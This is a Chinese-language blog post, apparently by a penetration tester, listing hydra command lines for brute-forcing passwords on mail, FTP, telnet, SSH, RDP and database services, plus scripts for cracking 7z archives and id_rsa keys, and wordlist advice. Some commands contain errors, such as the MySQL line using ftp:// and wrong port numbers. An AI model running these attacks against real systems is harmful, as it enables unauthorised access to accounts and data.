密码爆破最佳实践

渗透实战之后, 发现对服务、文件的密码爆破占了渗透15%左右, 因此写下这篇密码爆破的文章, 用来传播kali中爆破的魅力和小技巧. 当然每个人都会有自己的最佳实践命令, 此文着重介绍本渣在实战中的最佳实践, 不要模仿, 不要拿来做非法之事.
本文根据遇到的服务持续更新….

文章目录

  • 密码爆破工具
  • 不同类型的密码爆破
  • 字典的选择

密码爆破工具

实战中, 我常用的密码爆破有两类: kali自带工具、自己编写的小工具, 自己编写的工具自然不如hydra, 但是它适合用于内网横向渗透时, 无法安装hydra的场景

1
2
3
# kali自带爆破工具
hydra
john the ripper

不同类型的密码爆破

实战中, 遇到的有基础服务的爆破, 如: ftp、ssh、telnet、imap、pop、smtp等; 文件的爆破, 如: id_rsa文件、zip压缩包文件等. 下面将分别介绍最佳实践

邮件服务: pop3[s]、imap[s]、 smtp[s]

以pop3服务为例, imap服务、smtp服务与pop3服务的指定方式相同, 只需将协议改为imap即可。其中[s]表示使用ssl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 默认端口 无ssl 特定用户 密码字典
$ hydra -l <username> -P /usr/share/wordlists/rockyou.txt -e nsr -V pop3://10.129.10.51

# 默认端口 ssl 特定用户 密码字典
$ hydra -l <username> -P /usr/share/wordlists/rockyou.txt -e nsr -V pop3s://10.129.10.51

# 自定义端口 特定用户 密码字典 ssl指定方式如上所示
$ hydra -l <username> -P /usr/share/wordlists/rouckyou.txt -e nsr -V pop3://10.129.10.51 -s <port>
$ hydra -l <username> -P /usr/share/wordlists/rouckyou.txt -e nsr -V pop3://10.129.10.51:<port>

# 自定义端口 ssl 用户字典 特定密码
$ hydra -L /usr/share/wordlists/rockyou.txt -p <password> -V pop3://10.129.10.51 -s <port>

# 自定义端口 ssl 用户字典 密码字典
$ hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt -e nsr -V pop3s://10.129.10.51 -s <port>
$ hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt -e nsr -V pop3s://10.129.10.51 -s <port>

了解了邮件服务中提到的最佳实践之后, 下面的介绍的所有服务都是简单的替换协议

远程服务:ftp[s]、telnet[s]、ssh、rdp

以默认端口、无ssl、特定用户、特定密码为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# ftp[s]
$ hydra -l ftp -p 123456 -e nsr -V ftp://10.129.10.51

# telnet[s]
$ hydra -l telnet -p 123456 -e nsr -V telnet://10.129.10.51

# ssh *nix远程登陆协议 22端口
$ hydra -l ssh -p 123456 -e nsr -V ssh://10.129.10.51

# rdp windows远程桌面 3380端口
$ hydra -l administrator -p admin123456 -e nsr -V rdp://10.129.10.51

# pcanywhere 远程控制软件 5631端口
$ hydra -l admin -p 123456 -e nsr -V pcanywhere://10.129.10.51

数据库服务: mysql、mssql、redis

1
2
3
4
5
# mysql mysql数据库 3306端口
$ hydra -l mysql -p 123456 -e nsr -V ftp://10.129.10.51

# mssql sqlserver数据库 1443端口
$ hydra -l sa -p 123456 -e nsr -V mssql://10.129.10.51

文件爆破: 7z、id_rsa

我将文件爆破分为字典爆破和暴力破解两种, kali中的rarcrack用来暴力破解, 7z命令用来做字典爆破; 经过实战测试, 字典爆破的成功率略高

1
2
3
4
5
# rarcrack暴力破解
$ rarcrack <target> --type 7z --threads 20

# 7z爆破字典爆破 [7z-crack](https://github.com/exexute/PythonScaffold/blob/PythonScaffold_0.1/enum_violence/file_enum/7z-crack.sh)
$ ./7z-crack.sh /tmp/backup.7z /usr/share/wordlists/rockyou.txt

1
2
# id_rsa文件字典爆破 [id_rsa-crack](https://github.com/exexute/PythonScaffold/blob/PythonScaffold_0.1/enum_violence/file_enum/id_rsa-crack.sh)
$ ./id_rsa-crack.sh /tmp/id_rsa /usr/share/wordlists/rouckyou.txt

字典的选择

kali中自带了很多字典, 如:目录爆破、fuzz、命令注入等, 还有两个很有用的密码字典: rockyou.txt、fastcrack.txt
在爆破的过程中, 优先使用fastcrack字典, 因为该字典中保存的是最常出现的密码, 是rockyou的一个高频版和迷你版

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%